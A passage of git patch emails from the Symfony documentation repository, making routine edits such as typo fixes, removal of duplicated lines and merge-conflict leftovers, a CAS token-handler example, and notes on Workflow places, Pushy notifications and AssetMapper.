+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token>
+                        <token-handler>
+                            <cas validation-url="https://www.example.com/cas/validate" prefix="cas-example"/>
+                        </token-handler>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler()
+                        ->cas()
+                            ->validationUrl('https://www.example.com/cas/validate')
+                            ->prefix('cas-example')
+            ;
+        };
+
 Creating Users from Token
 -------------------------
 
@@ -727,8 +908,9 @@ need a user provider to create a user from the database::
 When using this strategy, you can omit the ``user_provider`` configuration
 for :ref:`stateless firewalls <reference-security-stateless>`.
 
+.. _`Central Authentication Service (CAS)`: https://en.wikipedia.org/wiki/Central_Authentication_Service
 .. _`JSON Web Tokens (JWT)`: https://datatracker.ietf.org/doc/html/rfc7519
-.. _`SAML2 (XML structures)`: https://docs.oasis-open.org/security/saml/Post2.0/sstc-saml-tech-overview-2.0.html
-.. _`RFC6750`: https://datatracker.ietf.org/doc/html/rfc6750
-.. _`OpenID Connect Specification`: https://openid.net/specs/openid-connect-core-1_0.html
 .. _`OpenID Connect (OIDC)`: https://en.wikipedia.org/wiki/OpenID#OpenID_Connect_(OIDC)
+.. _`OpenID Connect Specification`: https://openid.net/specs/openid-connect-core-1_0.html
+.. _`RFC6750`: https://datatracker.ietf.org/doc/html/rfc6750
+.. _`SAML2 (XML structures)`: https://docs.oasis-open.org/security/saml/Post2.0/sstc-saml-tech-overview-2.0.html

From 7da27faa8f3976721b9776ff90fc4eda7f05b4d5 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 8 Feb 2024 20:13:08 +0100
Subject: [PATCH 5801/7107] restore code block for reStructured text

---
 bundles/best_practices.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 8e8feedb642..0cdf4ecb2b9 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -346,9 +346,9 @@ following standardized instructions in your ``README.md`` file.
         Open a command console, enter your project directory and execute the
         following command to download the latest stable version of this bundle:
 
-       ```bash
-        composer require <package-name>
-        ```
+        .. code-block:: terminal
+
+            composer require <package-name>
 
         Step 2: Enable the Bundle
         ~~~~~~~~~~~~~~~~~~~~~~~~~

From ea212df3838701bf6123aa4bebfa39991d024df0 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 8 Feb 2024 20:42:06 +0100
Subject: [PATCH 5802/7107] [AssetMapper] Minor

Page: https://symfony.com/doc/6.4/frontend/asset_mapper.html#handling-css

This is indeed better than https://github.com/symfony/symfony-docs/pull/19453 was; and much better than before.

1. "valid" in which sense? Valid importmap syntax?
---
 frontend/asset_mapper.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 345973332a0..926ce322a53 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -421,8 +421,8 @@ the page as ``link`` tags in the order they were imported.
 
     Importing a CSS file is *not* something that is natively supported by
     JavaScript modules. AssetMapper makes this work by adding a special importmap
-    entry for each CSS file. These special entries are valid valid, but do nothing.
-    AssetMapper adds a ``<link>`` tag for each CSS file, but when the JavaScript
+    entry for each CSS file. These special entries are valid, but do nothing.
+    AssetMapper adds a ``<link>`` tag for each CSS file, but when JavaScript
     executes the ``import`` statement, nothing additional happens.
 
 .. _asset-mapper-3rd-party-css:

From 998929c21bbbaf9de1e3aa65d43309c951bf767b Mon Sep 17 00:00:00 2001
From: William Pinaud <thedocrepinsfx@gmail.com>
Date: Wed, 31 Jan 2024 12:36:17 +0100
Subject: [PATCH 5803/7107] Update form.rst for flattened form errors

Updated to reflect the code.
---
 components/form.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index 42a5a00bbae..7584d223032 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -749,10 +749,11 @@ method to access the list of errors. It returns a
     // "firstName" field
     $errors = $form['firstName']->getErrors();
 
-    // a FormErrorIterator instance in a flattened structure
+    // a FormErrorIterator instance including child forms in a flattened structure
+    // use getOrigin() to determine the form causing the error
     $errors = $form->getErrors(true);
 
-    // a FormErrorIterator instance representing the form tree structure
+    // a FormErrorIterator instance including child forms without flattening the output structure
     $errors = $form->getErrors(true, false);
 
 Clearing Form Errors

From 07c2d48c50ff5ab4f8f5a045f25a0e5fe92e2670 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 9 Feb 2024 19:03:31 +0100
Subject: [PATCH 5804/7107] Minor: remove duplicated lines

---
 components/dependency_injection.rst     | 1 -
 controller/value_resolver.rst           | 1 -
 messenger.rst                           | 1 -
 migration.rst                           | 1 -
 reference/configuration/security.rst    | 1 -
 reference/constraints/Unique.rst        | 1 -
 serializer.rst                          | 1 -
 serializer/custom_normalizer.rst        | 3 ---
 workflow/workflow-and-state-machine.rst | 1 -
 9 files changed, 11 deletions(-)

diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index 79b35bf312e..93e8af711cf 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -178,7 +178,6 @@ You can override this behavior as follows::
     // the second argument is optional and defines what to do when the service doesn't exist
     $newsletterManager = $containerBuilder->get('newsletter_manager', ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE);
 
-
 These are all the possible behaviors:
 
  * ``ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE``: throws an exception
diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 094d8af4c35..209b9c05a01 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -79,7 +79,6 @@ Symfony ships with the following value resolvers in the
 
         The ``BackedEnumValueResolver`` and ``EnumRequirement`` were introduced in Symfony 6.1.
 
-
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestPayloadValueResolver`
     Maps the request payload or the query string into the type-hinted object.
 
diff --git a/messenger.rst b/messenger.rst
index 98238aae6c0..6a67dfd2778 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1191,7 +1191,6 @@ to retry them:
 
     The ``--all`` option was introduced in Symfony 6.4.
 
-
 If the message fails again, it will be re-sent back to the failure transport
 due to the normal :ref:`retry rules <messenger-retries-failures>`. Once the max
 retry has been hit, the message will be discarded permanently.
diff --git a/migration.rst b/migration.rst
index 16fa43fa281..44485248545 100644
--- a/migration.rst
+++ b/migration.rst
@@ -340,7 +340,6 @@ somewhat like this::
             throw new \Exception("Unhandled legacy mapping for $requestPathInfo");
         }
 
-
         public static function handleRequest(Request $request, Response $response, string $publicDirectory): void
         {
             $legacyScriptFilename = LegacyBridge::getLegacyScript($request);
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index ce61a92389e..154ef86f21f 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -495,7 +495,6 @@ user logs out::
                         ->domain('example.com');
         };
 
-
 clear_site_data
 ...............
 
diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 1f5631abc95..6d8a9fc0f31 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -95,7 +95,6 @@ Options
 
 **type**: ``array`` | ``string``
 
-
 .. versionadded:: 6.1
 
     The ``fields`` option was introduced in Symfony 6.1.
diff --git a/serializer.rst b/serializer.rst
index 113b7ef4609..e379a630250 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -555,7 +555,6 @@ given class:
 
     The debug:serializer`` command was introduced in Symfony 6.3.
 
-
 Going Further with the Serializer
 ---------------------------------
 
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 6be72ec34fd..124e2f38b8a 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -93,7 +93,6 @@ is called.
     All built-in :ref:`normalizers and denormalizers <component-serializer-normalizers>`
     as well the ones included in `API Platform`_ natively implement this interface.
 
-<<<<<<< HEAD
 .. deprecated:: 6.3
 
     The :class:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface`
@@ -156,6 +155,4 @@ Here is an example of how to use the ``getSupportedTypes()`` method::
     The ``supports*()`` method implementations should not assume that
     ``getSupportedTypes()`` has been called before.
 
-=======
->>>>>>> 5.4
 .. _`API Platform`: https://api-platform.com
diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index 09bbbd8befa..1ead79b71f1 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -282,7 +282,6 @@ machine type, use ``camelCased workflow name + StateMachine``::
         // ...
     }
 
-
 .. versionadded:: 6.2
 
     All workflows and state machines services are tagged since in Symfony 6.2.

From 91d8296e948cce1ce4a11cb2d63cf31a1750fba4 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 9 Feb 2024 19:31:40 +0100
Subject: [PATCH 5805/7107] [Config] Allow custom meta location in ConfigCache

---
 components/config/caching.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/components/config/caching.rst b/components/config/caching.rst
index 810db48107e..18620c0d8cf 100644
--- a/components/config/caching.rst
+++ b/components/config/caching.rst
@@ -55,3 +55,17 @@ the cache file itself. This ``.meta`` file contains the serialized resources,
 whose timestamps are used to determine if the cache is still fresh. When
 not in debug mode, the cache is considered to be "fresh" as soon as it exists,
 and therefore no ``.meta`` file will be generated.
+
+You can explicitly define the absolute path to the meta file::
+
+    use Symfony\Component\Config\ConfigCache;
+    use Symfony\Component\Config\Resource\FileResource;
+
+    $cachePath = __DIR__.'/cache/appUserMatcher.php';
+
+    // the third optional argument indicates the absolute path to the meta file
+    $userMatcherCache = new ConfigCache($cachePath, true, '/my/absolute/path/to/cache.meta');
+
+.. versionadded:: 7.1
+
+    The argument to customize the meta file path was introduced in Symfony 7.1.

From 9b1c4b92aef0941583a67ec3b062f3510e3cd70b Mon Sep 17 00:00:00 2001
From: gokakyu <vcs.cellier.florian.283@gmail.com>
Date: Sun, 11 Feb 2024 17:15:22 +0100
Subject: [PATCH 5806/7107] [Container] Missing link RST link begin

---
 service_container.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index 097cdcd5a60..551ea6f9c8e 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1298,7 +1298,7 @@ and ``site_update_manager.normal_users``. Thanks to the alias, if you type-hint
 ``SiteUpdateManager`` the first (``site_update_manager.superadmin``) will be passed.
 
 If you want to pass the second, you'll need to :ref:`manually wire the service <services-wire-specific-service>`
-or to create a named ref:`autowiring alias <autowiring-alias>`.
+or to create a named :ref:`autowiring alias <autowiring-alias>`.
 
 .. caution::
 

From 1867345b8d9aa46380231b0c681fd870ab418cf9 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 12 Feb 2024 20:18:32 +0100
Subject: [PATCH 5807/7107] [AssetMapper] Minor

---
 frontend/asset_mapper.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 345973332a0..6f7eb4309cb 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -1047,8 +1047,8 @@ both ``app`` and ``checkout``:
 
     {# templates/products/checkout.html.twig #}
     {#
-        Override an "importmap" block in base.html.twig.
-        If you don't have this, add it around the {{ importmap('app') }} call.
+        Override an "importmap" block from base.html.twig.
+        If you don't have that block, add it around the {{ importmap('app') }} call.
     #}
     {% block importmap %}
         {# do NOT call parent() #}

From 4a4a6fe9a5ac2f0143c7c4399085a144b420b1f0 Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Mon, 12 Feb 2024 22:42:55 +0100
Subject: [PATCH 5808/7107] Formatting typo

---
 reference/constraints/UniqueEntity.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index fc6fccb18f6..44ea1c7d5bc 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -297,7 +297,7 @@ the combination value is unique (e.g. two users could have the same email,
 as long as they don't have the same name also).
 
 If you need to require two fields to be individually unique (e.g. a unique
-``email`` *and* a unique ``username``), you use two ``UniqueEntity`` entries,
+``email`` and a unique ``username``), you use two ``UniqueEntity`` entries,
 each with a single field.
 
 .. include:: /reference/constraints/_groups-option.rst.inc

From f4d9b2c595d23b936541770c471d3631881f740e Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 12 Feb 2024 19:13:01 +0100
Subject: [PATCH 5809/7107] Minor: remove duplicated lines

---
 components/dependency_injection.rst     |  1 -
 migration.rst                           |  1 -
 reference/configuration/framework.rst   | 26 -------------------------
 reference/configuration/security.rst    |  1 -
 reference/constraints/Unique.rst        |  1 -
 workflow/workflow-and-state-machine.rst |  1 -
 6 files changed, 31 deletions(-)

diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index 79b35bf312e..93e8af711cf 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -178,7 +178,6 @@ You can override this behavior as follows::
     // the second argument is optional and defines what to do when the service doesn't exist
     $newsletterManager = $containerBuilder->get('newsletter_manager', ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE);
 
-
 These are all the possible behaviors:
 
  * ``ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE``: throws an exception
diff --git a/migration.rst b/migration.rst
index 16fa43fa281..44485248545 100644
--- a/migration.rst
+++ b/migration.rst
@@ -340,7 +340,6 @@ somewhat like this::
             throw new \Exception("Unhandled legacy mapping for $requestPathInfo");
         }
 
-
         public static function handleRequest(Request $request, Response $response, string $publicDirectory): void
         {
             $legacyScriptFilename = LegacyBridge::getLegacyScript($request);
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 2491b94de5f..23975913173 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2847,32 +2847,6 @@ annotation changes). For performance reasons, it is recommended to disable
 debug mode in production, which will happen automatically if you use the
 default value.
 
-secrets
-~~~~~~~
-
-decryption_env_var
-..................
-
-**type**: ``string`` **default**: ``base64:default::SYMFONY_DECRYPTION_SECRET``
-
-The environment variable that contains the decryption key.
-
-local_dotenv_file
-.................
-
-**type**: ``string`` **default**: ``%kernel.project_dir%/.env.%kernel.environment%.local``
-
-Path to an dotenv file that holds secrets. This is primarily used for testing.
-
-vault_directory
-...............
-
-**type**: ``string`` **default**: ``%kernel.project_dir%/config/secrets/%kernel.environment%``
-
-The directory where the vault of secrets is stored.
-
-.. _configuration-framework-serializer:
-
 serializer
 ~~~~~~~~~~
 
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 64a16c7d616..590f2472425 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -495,7 +495,6 @@ user logs out::
                         ->domain('example.com');
         };
 
-
 clear_site_data
 ...............
 
diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index c7ee71329c4..8954f455086 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -95,7 +95,6 @@ Options
 
 **type**: ``array`` | ``string``
 
-
 This is defines the key or keys in a collection that should be checked for
 uniqueness. By default, all collection keys are checked for uniqueness.
 
diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index e72b50f8d1e..c94214fc22f 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -282,7 +282,6 @@ machine type, use ``camelCased workflow name + StateMachine``::
         // ...
     }
 
-
 Automatic and Manual Validation
 -------------------------------
 

From 77c49b3fef00aa7b9f5df6d2ec88b4faaf6a38ed Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 13 Feb 2024 11:44:48 +0100
Subject: [PATCH 5810/7107] [Workflow] Support omitting `places` option

---
 workflow.rst                            | 17 ++++++++++++++++-
 workflow/workflow-and-state-machine.rst | 11 +++++++++++
 2 files changed, 27 insertions(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index 99d23cdcfae..7e45c7693c1 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -60,7 +60,7 @@ follows:
                     supports:
                         - App\Entity\BlogPost
                     initial_marking: draft
-                    places:
+                    places:          # defining places manually is optional
                         - draft
                         - reviewed
                         - rejected
@@ -97,10 +97,13 @@ follows:
                     </framework:marking-store>
                     <framework:support>App\Entity\BlogPost</framework:support>
                     <framework:initial-marking>draft</framework:initial-marking>
+
+                    <!-- defining places manually is optional -->
                     <framework:place>draft</framework:place>
                     <framework:place>reviewed</framework:place>
                     <framework:place>rejected</framework:place>
                     <framework:place>published</framework:place>
+
                     <framework:transition name="to_review">
                         <framework:from>draft</framework:from>
                         <framework:to>reviewed</framework:to>
@@ -135,6 +138,7 @@ follows:
                 ->type('method')
                 ->property('currentPlace');
 
+            // defining places manually is optional
             $blogPublishing->place()->name('draft');
             $blogPublishing->place()->name('reviewed');
             $blogPublishing->place()->name('rejected');
@@ -168,6 +172,17 @@ follows:
     ``'draft'`` or ``!php/const App\Entity\BlogPost::TRANSITION_TO_REVIEW``
     instead of ``'to_review'``.
 
+.. tip::
+
+    You can omit the ``places`` option if your transitions define all the places
+    that are used in the workflow. Symfony will automatically extract the places
+    from the transitions.
+
+    .. versionadded:: 7.1
+
+        The support for omitting the ``places`` option was introduced in
+        Symfony 7.1.
+
 The configured property will be used via its implemented getter/setter methods by the marking store::
 
     // src/Entity/BlogPost.php
diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index e72b50f8d1e..04abf590f2f 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -252,6 +252,17 @@ Below is the configuration for the pull request state machine.
                     ->to(['review']);
         };
 
+.. tip::
+
+    You can omit the ``places`` option if your transitions define all the places
+    that are used in the workflow. Symfony will automatically extract the places
+    from the transitions.
+
+    .. versionadded:: 7.1
+
+        The support for omitting the ``places`` option was introduced in
+        Symfony 7.1.
+
 Symfony automatically creates a service for each workflow (:class:`Symfony\\Component\\Workflow\\Workflow`)
 or state machine (:class:`Symfony\\Component\\Workflow\\StateMachine`) you
 have defined in your configuration. You can use the workflow inside a class by using

From 36123b8d5bb941447606c36f83ce8ff3b4c9d315 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 13 Feb 2024 11:47:48 +0100
Subject: [PATCH 5811/7107] [Security] Remove duplicated line

---
 security.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/security.rst b/security.rst
index 5b7a0c6dd20..36bed55587e 100644
--- a/security.rst
+++ b/security.rst
@@ -635,9 +635,6 @@ are public). On the other hand, all pages that you want to be *aware* of a logge
 user have to be under the same firewall. So if you want to display a *"You are logged in
 as ..."* message on every page, they all have to be included in the same firewall.
 
-The same firewall can have many modes of authentication. In other words, it
-enables many ways to ask the question *"Who are you?"*.
-
 You'll learn how to restrict access to URLs, controllers or
 anything else within your firewall in the :ref:`access control
 <security-access-control>` section.

From 8be8799fd54df4365e419ae91c3fe72db1701091 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 14 Feb 2024 11:46:00 +0100
Subject: [PATCH 5812/7107] Revert "[AssetMapper] Fixing path"

---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 6f7eb4309cb..110a14d69e0 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -875,7 +875,7 @@ file:
         asset_mapper:
             paths:
                 - assets/
-                - vendor/babdev/pagerfanta-bundle/Resources/public/css/
+                - vendor/some/package/assets
 
 Then try the command again.
 

From 9c02a1f572b5d0c8bb951994cb2c828da9870919 Mon Sep 17 00:00:00 2001
From: Florian Cellier <vcs.cellier.florian.283@gmail.com>
Date: Mon, 8 Jan 2024 13:32:30 +0100
Subject: [PATCH 5813/7107] [DotEnv] Update configuration.rst

---
 configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index 37e341179ee..56bc30fcf4c 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -1076,7 +1076,7 @@ already existing ``.env`` files).
         # .env (or .env.local)
         APP_ENV=prod
 
-        # .env.prod (or .env.local.prod) - this will fallback on the loaders you defined
+        # .env.prod (or .env.prod.local) - this will fallback on the loaders you defined
         APP_ENV=
 
 .. _configuration-accessing-parameters:

From e1203e74eebfad066a7acef86781608999d0e9e5 Mon Sep 17 00:00:00 2001
From: Joseph Bielawski <stloyd@users.noreply.github.com>
Date: Wed, 14 Feb 2024 10:29:01 +0100
Subject: [PATCH 5814/7107] [Notifier] Add Pushy docs

---
 notifier.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 774294c3577..4e16edaf039 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -453,11 +453,16 @@ Service          Package                               DSN
 `OneSignal`_     ``symfony/one-signal-notifier``       ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
 `PagerDuty`_     ``symfony/pager-duty-notifier``       ``pagerduty://TOKEN@SUBDOMAIN``
 `Pushover`_      ``symfony/pushover-notifier``         ``pushover://USER_KEY:APP_TOKEN@default``
+`Pushy`_         ``symfony/pushy-notifier``            ``pushy://API_KEY@default``
 ===============  ====================================  ==============================================================================
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 
+.. versionadded:: 7.1
+
+    The `Pushy`_ integration was introduced in Symfony 7.1.
+
 .. code-block:: bash
 
     # .env
@@ -1019,6 +1024,7 @@ is dispatched. Listeners receive a
 .. _`PagerDuty`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/PagerDuty/README.md
 .. _`Plivo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Plivo/README.md
 .. _`Pushover`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Pushover/README.md
+.. _`Pushy`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Pushy/README.md
 .. _`Redlink`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Redlink/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`RingCentral`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RingCentral/README.md

From 7efbac1a463c5faf43d91ba0bfcf366dfb2e4e17 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 15 Feb 2024 20:26:36 +0100
Subject: [PATCH 5815/7107] -

---
 mailer.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index afc53f8027b..02c09295319 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1430,7 +1430,6 @@ you have a transport called ``async``, you can route the message there:
                 ->senders(['async']);
         };
 
-<<<<<<< HEAD
 Thanks to this, instead of being delivered immediately, messages will be sent
 to the transport to be handled later (see :ref:`messenger-worker`). Note that
 the "rendering" of the email (computed headers, body rendering, ...) is also
@@ -1463,10 +1462,6 @@ render the email before calling ``$mailer->send($email)``::
 
         $mailer->send($email);
     }
-=======
-Thanks to this, instead of being delivered immediately, messages will be sent to
-the transport to be handled later (see :ref:`messenger-worker`).
->>>>>>> 5.4
 
 You can configure which bus is used to dispatch the message using the ``message_bus`` option.
 You can also set this to ``false`` to call the Mailer transport directly and

From 5ea2f9b4feda390c9945ffc225d3cf265a16df5f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 15 Feb 2024 20:28:57 +0100
Subject: [PATCH 5816/7107] -

---
 serializer/custom_encoders.rst | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst
index 24bf174fb6c..d6cf3a72015 100644
--- a/serializer/custom_encoders.rst
+++ b/serializer/custom_encoders.rst
@@ -46,13 +46,6 @@ create your own encoder that uses the
         }
     }
 
-.. tip::
-
-    If you need access to ``$context`` in your ``supportsDecoding`` or
-    ``supportsEncoding`` method, make sure to implement
-    ``Symfony\Component\Serializer\Encoder\ContextAwareDecoderInterface``
-    or ``Symfony\Component\Serializer\Encoder\ContextAwareEncoderInterface`` accordingly.
-
 Registering it in your app
 --------------------------
 

From c9b28f5982469f06840a5038a9d7003a4df1ef6f Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 15 Feb 2024 21:40:47 +0100
Subject: [PATCH 5817/7107] [AssetMapper] Adding infos to be forwarded to
 package maintainers in case of error

Page: https://symfony.com/doc/6.4/frontend/asset_mapper.html#importing-3rd-party-javascript-packages

Closes https://github.com/symfony/symfony-docs/issues/19558
---
 frontend/asset_mapper.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 110a14d69e0..2df223a779a 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -188,6 +188,11 @@ to add any `npm package`_:
 
     $ php bin/console importmap:require bootstrap
 
+.. note::
+
+    If you're getting a 404 error, you can contact the package maintainer and ask them to
+    include `"main":` and `"module":` to the package's `package.json`.
+
 This adds the ``bootstrap`` package to your ``importmap.php`` file::
 
     // importmap.php
@@ -207,6 +212,8 @@ This adds the ``bootstrap`` package to your ``importmap.php`` file::
     such as ``@popperjs/core``. The ``importmap:require`` command will add both the
     main package *and* its dependencies. If a package includes a main CSS file,
     that will also be added (see :ref:`Handling 3rd-Party CSS <asset-mapper-3rd-party-css>`).
+    If the associated CSS file isn't added to the importmap, you can contact the package
+    maintainer and ask them to include `"style":` to the package's `package.json`.
 
 Now you can import the ``bootstrap`` package like usual:
 

From 6b5c537af8d9a659d4a3c9c5666b7c4ed782ffde Mon Sep 17 00:00:00 2001
From: Tony Tran <tonytran@free.fr>
Date: Fri, 16 Feb 2024 09:33:41 +0100
Subject: [PATCH 5818/7107] [Testing] Change PHPUnit URLs

---
 testing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/testing.rst b/testing.rst
index b8f3fd1bebe..079f05eced3 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1189,8 +1189,8 @@ Learn more
 
 .. _`PHPUnit`: https://phpunit.de/
 .. _`documentation`: https://docs.phpunit.de/
-.. _`Writing Tests for PHPUnit`: https://docs.phpunit.de/en/10.3/writing-tests-for-phpunit.html
-.. _`PHPUnit documentation`: https://docs.phpunit.de/en/10.3/configuration.html
+.. _`Writing Tests for PHPUnit`: https://docs.phpunit.de/en/10.5/writing-tests-for-phpunit.html
+.. _`PHPUnit documentation`: https://docs.phpunit.de/en/10.5/configuration.html
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
 .. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
 .. _`Doctrine data fixtures`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html

From 237770bd65362d9021d453ffe6b98c59156694de Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 16 Feb 2024 11:59:51 +0100
Subject: [PATCH 5819/7107] [AssetMapper] Changing the example file away from
 `.css`

Page: https://symfony.com/doc/6.4/frontend/asset_mapper.html

Reason: `<link>` for CSS is included in `{{ importmap() }}`, so you usually don't have to call `{{ asset() }}` on a CSS.
---
 frontend/asset_mapper.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 110a14d69e0..f467fd740f2 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -14,9 +14,9 @@ is a light layer that helps serve your files directly to the browser.
 The component has two main features:
 
 * :ref:`Mapping & Versioning Assets <mapping-assets>`: All files inside of ``assets/``
-  are made available publicly and **versioned**. You can reference
-  ``assets/styles/app.css`` in a template with ``{{ asset('styles/app.css') }}``.
-  The final URL will include a version hash, like ``/assets/styles/app-3c16d9220694c0e56d8648f25e6035e9.css``.
+  are made available publicly and **versioned**. You can reference the file
+  ``assets/images/product.jpeg`` in a Twig template with ``{{ asset('images/product.jpeg') }}``.
+  The final URL will include a version hash, like ``/assets/images/product-3c16d9220694c0e56d8648f25e6035e9.jpeg``.
 
 * :ref:`Importmaps <importmaps-javascript>`: A native browser feature that makes it easier
   to use the JavaScript ``import`` statement (e.g. ``import { Modal } from 'bootstrap'``)

